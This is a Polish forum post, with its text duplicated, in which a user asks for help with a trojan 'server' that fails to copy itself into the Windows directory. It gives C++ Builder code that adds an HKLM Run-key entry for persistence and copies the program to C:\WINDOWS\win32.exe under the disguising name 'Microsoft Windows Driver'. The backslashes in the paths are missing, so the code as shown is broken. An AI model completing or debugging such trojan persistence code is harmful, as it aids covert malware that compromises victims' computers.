Witam, mam takie male pytanko, mianowicie cos mi program (serwer) trojanka nie chce dodac sie do rejestru...
tzn sam klucz sie dodaje, ale program nie chce sie skopiowac do katalogu windowsa (ogolnie do zadnego katalogu niechce sie skopiowac) :roll:
Probowalem juz z takim kodem:
oraz z takim:
Rozumiem, ze te klucze mam wpisywac w komponencie
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
Pozdrawiam
MafiAmiX
tzn sam klucz sie dodaje, ale program nie chce sie skopiowac do katalogu windowsa (ogolnie do zadnego katalogu niechce sie skopiowac) :roll:
Probowalem juz z takim kodem:
Kod:
TRegistry& Rejestr = *new TRegistry();
Rejestr.RootKey = HKEY_LOCAL_MACHINE;
Rejestr.OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", false);
Rejestr.WriteString("Program Project1", "c:project1.exe");
delete &Rejestr;
oraz z takim:
Kod:
char* dcl = "C:WINDOWSwin32.exe";
AnsiString Dll= ExtractFileDir(Application->ExeName) + "win32.exe";
char* ex = Dll.c_str();
CopyFile(ex, dcl, true);
TRegistry& Rejestr = *new TRegistry();
Rejestr.RootKey = HKEY_LOCAL_MACHINE;
Rejestr.OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", false);
Rejestr.WriteString("Microsoft Windows Driver", "C:WINDOWSwin32.exe");
delete &Rejestr;
Rozumiem, ze te klucze mam wpisywac w komponencie
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
Pozdrawiam
MafiAmiX